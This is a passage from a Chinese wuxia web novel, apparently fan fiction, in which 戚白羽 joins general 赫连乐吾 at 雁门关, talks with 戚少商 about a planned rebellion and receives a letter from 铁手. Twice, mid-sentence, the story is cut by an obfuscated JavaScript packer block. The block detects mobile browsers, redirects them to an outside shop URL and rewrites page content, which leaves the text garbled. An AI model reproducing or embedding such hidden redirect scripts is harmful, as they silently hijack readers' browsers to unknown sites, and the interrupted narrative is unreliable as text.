他神态不见得友好,话语却很是客气,戚白羽一时摸不准他的意思,不再多搭话,赫连春水似乎也没有拉拢关系的意思。倒是他的亲随和肖玉聊得多,两人你来我往,互相试探,一路回了营地时,大约也把一番客套话说了个明白:肖玉说我们愿意按照边关一贯的规矩办事,亲随说赫连乐吾老将军也只是欣赏英才俊杰罢了。 寨中送了赫连春水一行人出来,又早已远远望见戚白羽所率军队,但仍是等到兵临城下,对过口令,城门才缓缓打开。戚白羽和赫连春水两人,一路并不多话,只是默默地独自进了议事厅内。 “你很会带兵。”赫连春水说。 “我想少将军来此,并不是为了这个。”戚白羽答道。 “我奉家父之命,来此相邀。——家父说,他看过了你的战报,说以你的才干,打这些小打小闹的仗,实在可惜。他问你是否愿去雁门关,做他麾下副将。” 戚白羽微微扬眉:“赫连将军莫非以为,我是甘于投身军旅、为国效力的那等人么?” 赫连春水有点恼怒地叹了口气。他看起来像一个心高气傲,却又不得不服输的贵族公子。 “父亲猜到你会说类似的话。他说,如果你这样说了,便让我回答你——边关人事任免,他可一言而决。你若是去了,不必领官衔,只有他麾下副将的实职。若你不愿做副将,去做亲卫,也未为不可。” 这合该是缺点,甚至一句比一句是更致命的缺点:只有实职,不领官衔,也即是说,需要出力却无升职机会,战功和赏赐也全凭赫连乐吾心意,得不到任何保障。不做副将去做亲卫,就更是荒谬。 但是,赫连乐吾会说出这两句看似荒唐的话,却恰恰证明了,他知道她想要什么:她不在乎升官发财,因此无需用那些去引诱她。至于所谓“亲卫”,或许该换个名字:“弟子”。 她不屑于效忠朝廷,她的渴望只朝向战争本身。而赫连乐吾远隔千里,不曾见她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416077|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,居然看出来了这一点—— 他是怎么做到的?他当真能从战报中看出那么多东西吗? “请容我考虑一二。”戚白羽说。 赫连春水客气地颔首:“戚令主考虑时,我便在此多打扰几日,方便吗?” “少将军与手下在我营中,要守我营中的军规。” 赫连春水竟然笑了笑,面上闪过几分欣赏之色:“这是自然,肖副将早已告知过我们了。” 他大步出了门,戚白羽坐在屋内想了一阵,也离了议事厅,孤身向寨后去。 前些天,周围五家势力联兵,由戚白羽领军,将狄人一支三千人的骑队向西赶出二百里。刚刚收兵回来,各家兵马还未回到自家堡寨处,纷纷在寨后就地扎营。她穿过忙而不乱的营地,直到营地边缘,才到了“天机”的驻地。 “天机”原是北方首屈一指的势力,近些年连云寨奋起直追,地盘扩大,在不少地方难免互有摩擦。原本两家早该是彼此争夺地盘、水火不容的关系了,但这些年来,彼此关系一向竟还不错,正是因为共同戍边结下的交情,双方各有退让。 在附近驻守的,正是天机首领唯一的女儿,张一女。她刚卸了甲,见到戚白羽来,讶然道:“有什么军情吗?” 戚白羽道:“只是一些私事请教。” 她们两人离了营,走到空旷的地方,戚白羽才问:“赫连乐吾是个什么样的人?” 连云寨在雁门关没有分舵,天机却有,张一女作为天机的继承人,显然也见得到边关主帅。她不假思索,道:“是位颇有能为的老将。” 戚白羽问:“如何见得?” 张一女道:“他的前任惊怖大将军是什么样子,你大约也有所耳闻。那时边关的三省四十一县,被祸害得民不聊生。但赫连将军调来,短短数年,生民安稳,许多荒村重有了鸡犬之声,民兵也好、官军也好,慢慢地行止有度,这些年来,很少再听说边关军士抢掠百姓的恶行。偶尔叫天机碰见了,出手制止,报到军中,也总有公正处置。” 戚白羽问:“看来他是个好长官。但他用兵又如何?” 张一女笑道:“我用兵也不过是现学现卖的水平,如何能去点评边关主将!” 戚白羽道:“不妨,我不会往外说。” 她们两个,私交并不多,纯粹是共同作战打出来的交情——但有时战场之上的交际,反而更直接、更纯粹。 张一女想了想,坦言道:“我不曾追随他作战。但能够调度边关十万将士、万千的江湖游侠,从凤翔到河间的数百堡寨,能让官军和江湖人各安其所,不是人人能够办到。——怎么,你问了这么多,莫非想去雁门关,追随赫连将军?” 戚白羽道:“我还未想好。” 张一女道:“若按我私心,实在不想你去。咱们多少年没打过这样痛快的仗了!整个庆州,哪家老百姓没听说过白羽将军的名字!” 戚白羽道:“你若这样说,看来我是要去雁门了。” 张一女连忙道:“我并不是在说反话——” 戚白羽道:“我知道。” 张一女问:“那是为什么?” “因为我还没有信心,统领整个庆州。” 22.第二十二章 雁门关确是一座雄关。 赫连乐吾也确是一位名将。 戚白羽一眼望见他,便明白了这点:经历过太多次战场的人,不必言谈,自神态气质中,便与旁人不同。她明白,赫连乐吾也能够在她身上见到这一点。果然,赫连乐吾第一句便问:“你哪儿来的那么多仗打?” “我在应州打过的仗,将军应当都知道。”戚白羽避重就轻地答。 赫连乐吾显然不信,但他哈哈一笑,放过了她,转而又问:“你年纪轻轻,有这样老练的用兵经验,师承何人呐?” “幼时曾与一位将军比邻而居,得过他指点。”她回答。 “谁?” “我不知姓名,只知道他姓张。”戚白羽回答。 “哦,张青啊。”赫连乐吾竟然抬抬眼,就猜了出来,“他是难得擅长训练骑兵的将领。你用兵倒确实有他的影子。” 戚白羽一眨眼,又迅速地掩盖住了自己的惊讶:“将军知道他后来如何了吗?”她问。 ——她当然知道。只是现在,当着赫连乐吾的面,她不该知道。 “几年前,他就死在雁门。”赫连乐吾说,“当时他们没有立碑。你要是想上柱香,只能大体上向着城东拜一拜了。” 她抿了抿嘴,没有继续这个话题。赫连乐吾等了一等,看她并不开口,又问:“犬子说,你想要在雁门当一位副将,就跟在我身边。” “是。” “为什么?” “我有所求。”戚白羽回答。 “求什么?” “我知道自己的本领。将千人,可如臂使指;五千人,可进退自如;万人之上,我不能及。我想跟在将军身边学习,如何能将十万军士、守千里边疆。” 赫连乐吾大笑起来:“好大野心!你欲取我而代之乎?” 戚白羽神色自若:“我若有朝一日,能学到取将军而代之的本领,才是一件幸事。” 赫连乐吾笑容一敛:“不错。” 紧跟着,他忽然说起了一个似乎全不相干的话题:“你可知道,为什么惊怖大将军如此倒行逆势,残暴无道,却能得朝廷默许,统辖北境这样久?” 惊怖大将军在数年前,才被四大名捕联手击败,赫连乐吾正是在他之后接手了边关。戚白羽道:“因为在朝中,有傅宗书为他撑腰。” 赫连乐吾点点头,又摇摇头:“这个理由,只占六成!还有四成,是因为惊怖大将军不论怎么祸害百姓,他倒真是一个知兵的将帅。” 他叹息道:“朝中真正知兵的将帅,其实并没有那么多!” 戚白羽默不作声。 “你有此心,好,你可以留在我身边做我副将,随我学习,我待你便如自家子侄。”赫连乐吾道,“只是,我却有个条件。” “将军请讲。” “你在我身边学习,便要始终留在边关,不得离开——一日也不得离开!有哪一日你离开了,便从此不许再跟随我身边。” “若是为了作战呢?” “作战之时,许你进退自由。若不是为了战事,你便不得离开雁门。” 戚白羽听说过各种武林高人设下稀奇古怪的挑战、令人为难的条件。相比之下,赫连乐吾这个条件,实在已经很讲道理、很是轻松。她应道:“好。” - 这一年的冬天来得很早,雁门也早早进入守备。 临近年关的时候,戚少商到了雁门来寻她。 赫连乐吾允许戚白羽带了她自己的亲兵来,除此之外,她在雁门为副将,统帅一支千人队,这些日子以来还在筹备女兵队的选拔。赫连乐吾有意教导,她便也格外忙。 因此,她不曾注意总舵来的消息,看见戚少商时,几乎吓了一跳:“大哥。总舵有事?” 戚少商大笑起来:“能有什么事——雁门有这么忙吗?你连过年都忘记了?” “我去信说过,这些年恐怕都不会回寨里过年……” “所以,我来寻你。”戚少商很是自然地说。 他神色中隐藏着一丝得意,仿佛是在期待着她表现出惊喜,于是她也顺应期待地展露笑颜。 戚少商的许多坚持,是她所不能理解的——从小开始便这样。譬如她不理解他的风流多情,他对生日和过年的在意,他对敌人常常手下留情。对她来说,除夕也只是一个寻常的日子。 但这也无妨。 她向赫连将军告了假,领戚少商在雁门走了一走。 即使在边关,过年时也会多带些红色、多带些喜气,市集变得更热闹些。戚少商买了一卷红纸,说是知道她自己必定不会有贴春联的心,要先为她写一联来。 “白羽。”他握着那一卷纸,忽然问,“你在这儿快活吗?” 戚白羽知道他真正想问的是什么。她答:“我只是在这里……更平静了。” 戚少商轻轻地呼出一口气:“那就好。” 顿了一顿,他又问:“雁门和连云寨,有什么不同么?” 他必定是想掩饰语气中的一丝酸味和抱怨,却并没有做到。于是他也为这种攀比心觉得尴尬,咳嗽一声,迅速地带过了话题,并没有非要她回答。 她并不曾回答,只是回首望了望军营。 那里挂着的不是“戚”字旗,是“白”字旗。边关的军士百姓怀着敬意,呼她为“白羽将军”,谈起她如何以三千人守卫十二寨,如何立在城墙上射倒五十狄骑,箭无虚发。 她不是戚少商的妹妹,她不是连云寨的令主。她不是楚相玉的女儿。他们畏惧也爱戴白羽将军,只是因为她自己。 在得到之前,她从未想过她会在乎这些。 得到之后,她意识到,她在乎。 “如果你喜欢这儿,你打算一直留下来么?”戚少商问。 “我打算追随赫连将军,直到将能学的学尽。在那之后,是那之后的事。” 戚少商叹道:“赫连将军确实是名将。但你亦知道局势:如今粮草迁延,厢军失训,各地军政多有贪墨。只要朝廷仍旧是这个朝廷,无论怎样的名将,也只是抱薪救火。” 戚白羽道:“我知道。赫连将军招揽我,未尝不是想要我做一支救火队的意思。” “那么,你便宁愿在这儿做一支救火队?” 戚白羽微微偏头,示意了一下路过的百姓。 他们离了市场,折转到小巷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17419408|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,走进戚白羽的居所。她带来的亲兵,亦在此起居,这一块民宅被连云寨亲兵的居所围拢,不虞有人听闻。进了屋,她才开口道:“或许确实有另一条更彻底的路可走,但楚相玉的大业,已经占了我的前半生。如今我有其他的路可选,便不想这样快回头。” 戚少商叹了口气:“没关系。这一次我一定要预先说清楚——我不是要劝你助我们谋反的意思。只是,我已决定,有朝一日‘那位’若是起事,连云寨会追随他的。” “你见到那位殿下了?”戚白羽问,“难道他并非一直隐居海外?” “据说,每隔些年,他会到中原来,见一见天下。是他到连云寨见了我。” “那他倒是有胆量。——至少这点,他强于如今的皇帝。” 戚少商道:“我与他长谈,也以为如此。他会是个懂得怜恤生民疾苦的皇帝。” 戚白羽沉默了好一阵,戚少商也并不催促。 “你也想得到,谢春风劝我来边关,进入军中,是有何期望。”好久之后,她轻声道。 “我说了,我并不是为了来劝你的。”戚少商道。 “要我领兵起事,遥相呼应,这是大事,我无法给出承诺。”戚白羽道。 戚少商笑了:“谢春风也好,那位殿下也好,本也没道理要你承诺什么。只要你别做赫连将军的前哨,把整个连云寨剿了——” 戚白羽无奈地瞪了他一眼:“大哥,你少说这种话吧。” - 年关过后,她接到铁手的来信。 这一年来,他们时常通信,不过这一封信隔的时间尤其久。信中第一句写:新雪初霁…… 她诧异地看了看落款,才发现这封信在路上慢慢地走了一个月,又在连云寨总舵迁延了大半个月。想来是今冬一场暴雪,北境许多驿路都堵塞了。铁手写:初雪新霁,忽思故人。胡天寒苦,冀尽珍重。 信纸很短,信封很薄,好像他只是一时间克制不住思念,不得不将这几句话告知于她。她轻轻地抖了一抖,自其中落出数片梅花,只是路上数月,已经失了颜色和香气,只有薄薄的花瓣无声地滑落桌上。 到了这个地步,再要说她不明白铁手的心意,未免太过虚伪。 昔年在连云寨,也不是没有胆大的、莽撞的小伙子向她求过爱。铁手待她的心,远比他们要含蓄,却不至于让她当真毫无觉察。 她原本不曾为他动过心:那时她连活下去的心气都欠奉,又哪里有余力去爱。铁手是个世间不常见的圣人,也的确打动过她,只是未逢其时,那一点意动像是石子落入枯井,激不起水花,只有空寂的回声。 但,她如今回望,又觉得尚有一丝余音,绕梁至今。 她可以回信去斩断这一缕若有若无的情思,便如干脆利落地拒绝掉从前那些人一般。但放在铁手身上……要突兀叫这样一个总是温柔、总是坦诚地把心捧出来的人伤心,便是铁石心肠也不忍为之。她想到他带着这样的心情,折下梅花,写了这一封信给她,却要收到一封冷冰冰的回绝,心头便蓦地升起不舍。 她想了很久,到底在笺纸上写下了她在雁门关的消息。她写:从此之后,可以寄信来雁门。